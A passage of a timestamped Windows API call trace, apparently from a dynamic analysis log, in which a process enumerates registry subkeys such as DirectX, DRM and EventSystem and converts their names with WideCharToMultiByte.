lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0x3ec0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dataaccess", lpUsedDefaultChar=0x0) returned 10 [0026.468] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.468] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec0d8) returned 1 [0026.468] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.469] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebbb8) returned 1 [0026.469] RegEnumKeyW (in: hKey=0x24, dwIndex=0xe, lpName=0x3eb930, cchName=0x104 | out: lpName="DataFactory") returned 0x0 [0026.469] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ebbb8 [0026.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.469] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0x3ec120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="datafactory", lpUsedDefaultChar=0x0) returned 11 [0026.469] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec0d8 [0026.469] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.469] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec0d8) returned 1 [0026.469] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebbb8) returned 1 [0026.469] RegEnumKeyW (in: hKey=0x24, dwIndex=0xf, lpName=0x3eb930, cchName=0x104 | out: lpName="DevDiv") returned 0x0 [0026.469] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ebbb8 [0026.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0026.469] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec0d8 [0026.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0x3ec0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="devdiv", lpUsedDefaultChar=0x0) returned 6 [0026.469] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.469] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec0d8) returned 1 [0026.469] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.469] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebbb8) returned 1 [0026.469] RegEnumKeyW (in: hKey=0x24, dwIndex=0x10, lpName=0x3eb930, cchName=0x104 | out: lpName="Dfrg") returned 0x0 [0026.469] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ebbb8 [0026.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0026.469] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0x3ec120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfrg", lpUsedDefaultChar=0x0) returned 4 [0026.480] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec0d8 [0026.480] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.480] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec0d8) returned 1 [0026.480] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebbb8) returned 1 [0026.480] RegEnumKeyW (in: hKey=0x24, dwIndex=0x11, lpName=0x3eb930, cchName=0x104 | out: lpName="DFS") returned 0x0 [0026.480] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ebbb8 [0026.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0026.480] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec0d8 [0026.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0x3ec0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfs", lpUsedDefaultChar=0x0) returned 3 [0026.480] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.480] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec0d8) returned 1 [0026.480] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.480] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebbb8) returned 1 [0026.480] RegEnumKeyW (in: hKey=0x24, dwIndex=0x12, lpName=0x3eb930, cchName=0x104 | out: lpName="DirectDraw") returned 0x0 [0026.480] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ebbb8 [0026.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0026.480] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0x3ec120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directdraw", lpUsedDefaultChar=0x0) returned 10 [0026.480] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec0d8 [0026.480] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.480] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec0d8) returned 1 [0026.480] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebbb8) returned 1 [0026.480] RegEnumKeyW (in: hKey=0x24, dwIndex=0x13, lpName=0x3eb930, cchName=0x104 | out: lpName="DirectInput") returned 0x0 [0026.480] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ebbb8 [0026.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.480] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec0d8 [0026.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0x3ec0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directinput", lpUsedDefaultChar=0x0) returned 11 [0026.481] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.481] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec0d8) returned 1 [0026.481] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.481] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebbb8) returned 1 [0026.481] RegEnumKeyW (in: hKey=0x24, dwIndex=0x14, lpName=0x3eb930, cchName=0x104 | out: lpName="DirectMusic") returned 0x0 [0026.481] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ebbb8 [0026.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.481] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0x3ec120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directmusic", lpUsedDefaultChar=0x0) returned 11 [0026.481] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec0d8 [0026.481] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.481] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec0d8) returned 1 [0026.481] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebbb8) returned 1 [0026.481] RegEnumKeyW (in: hKey=0x24, dwIndex=0x15, lpName=0x3eb930, cchName=0x104 | out: lpName="DirectPlay8") returned 0x0 [0026.481] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ebbb8 [0026.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.481] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec0d8 [0026.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0x3ec0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplay8", lpUsedDefaultChar=0x0) returned 11 [0026.481] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.481] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec0d8) returned 1 [0026.481] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.481] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebbb8) returned 1 [0026.481] RegEnumKeyW (in: hKey=0x24, dwIndex=0x16, lpName=0x3eb930, cchName=0x104 | out: lpName="DirectPlayNATHelp") returned 0x0 [0026.481] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ebbb8 [0026.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0026.481] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0x3ec120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplaynathelp", lpUsedDefaultChar=0x0) returned 17 [0026.481] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec0d8 [0026.481] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.481] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec0d8) returned 1 [0026.481] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebbb8) returned 1 [0026.481] RegEnumKeyW (in: hKey=0x24, dwIndex=0x17, lpName=0x3eb930, cchName=0x104 | out: lpName="DirectShow") returned 0x0 [0026.481] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ebbb8 [0026.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0026.481] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec0d8 [0026.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0x3ec0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directshow", lpUsedDefaultChar=0x0) returned 10 [0026.482] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.482] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec0d8) returned 1 [0026.482] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.482] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebbb8) returned 1 [0026.482] RegEnumKeyW (in: hKey=0x24, dwIndex=0x18, lpName=0x3eb930, cchName=0x104 | out: lpName="DirectX") returned 0x0 [0026.482] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ebbb8 [0026.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0026.482] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0x3ec120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directx", lpUsedDefaultChar=0x0) returned 7 [0026.482] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec0d8 [0026.482] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.482] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec0d8) returned 1 [0026.482] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebbb8) returned 1 [0026.482] RegEnumKeyW (in: hKey=0x24, dwIndex=0x19, lpName=0x3eb930, cchName=0x104 | out: lpName="Driver Signing") returned 0x0 [0026.482] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ebbb8 [0026.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0026.482] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec0d8 [0026.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0x3ec0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="driver signing", lpUsedDefaultChar=0x0) returned 14 [0026.482] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.482] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec0d8) returned 1 [0026.482] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.482] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebbb8) returned 1 [0026.482] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1a, lpName=0x3eb930, cchName=0x104 | out: lpName="DRM") returned 0x0 [0026.482] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ebbb8 [0026.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0026.482] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0x3ec120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drm", lpUsedDefaultChar=0x0) returned 3 [0026.482] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec0d8 [0026.482] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.482] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec0d8) returned 1 [0026.482] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebbb8) returned 1 [0026.482] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1b, lpName=0x3eb930, cchName=0x104 | out: lpName="DVR") returned 0x0 [0026.482] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ebbb8 [0026.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0026.483] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec0d8 [0026.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0x3ec0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dvr", lpUsedDefaultChar=0x0) returned 3 [0026.483] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.483] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec0d8) returned 1 [0026.483] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.483] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebbb8) returned 1 [0026.483] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1c, lpName=0x3eb930, cchName=0x104 | out: lpName="DXP") returned 0x0 [0026.483] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ebbb8 [0026.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0026.483] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0x3ec120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dxp", lpUsedDefaultChar=0x0) returned 3 [0026.483] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec0d8 [0026.483] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.483] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec0d8) returned 1 [0026.483] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebbb8) returned 1 [0026.483] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1d, lpName=0x3eb930, cchName=0x104 | out: lpName="EnterpriseCertificates") returned 0x0 [0026.483] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ebbb8 [0026.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0026.483] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec0d8 [0026.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0x3ec0d8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enterprisecertificates", lpUsedDefaultChar=0x0) returned 22 [0026.483] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.483] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec0d8) returned 1 [0026.483] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.483] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebbb8) returned 1 [0026.483] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1e, lpName=0x3eb930, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0026.483] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ebbb8 [0026.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.483] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x3ec120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0026.483] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec0d8 [0026.483] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.483] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec0d8) returned 1 [0026.483] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebbb8) returned 1 [0026.483] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1f, lpName=0x3eb930, cchName=0x104 | out: lpName="Exchange") returned 0x0 [0026.484] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ebbb8 [0026.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0026.484] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec0d8 [0026.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x3ec0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exchange", lpUsedDefaultChar=0x0) returned 8 [0026.484] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.484] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec0d8) returned 1 [0026.484] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.484] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebbb8) returned 1 [0026.484] RegEnumKeyW (in: hKey=0x24, dwIndex=0x20, lpName=0x3eb930, cchName=0x104 | out: lpName="Fax") returned 0x0 [0026.484] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ebbb8 [0026.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0026.484] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x3ec120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0026.484] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec0d8 [0026.484] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.484] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec0d8) returned 1 [0026.484] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebbb8) returned 1 [0026.484] RegEnumKeyW (in: hKey=0x24, dwIndex=0x21, lpName=0x3eb930, cchName=0x104 | out: lpName="Feeds") returned 0x0 [0026.484] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ebbb8 [0026.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0026.484] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec0d8 [0026.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x3ec0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="feeds", lpUsedDefaultChar=0x0) returned 5 [0026.484] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.484] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec0d8) returned 1 [0026.484] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.484] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebbb8) returned 1 [0026.484] RegEnumKeyW (in: hKey=0x24, 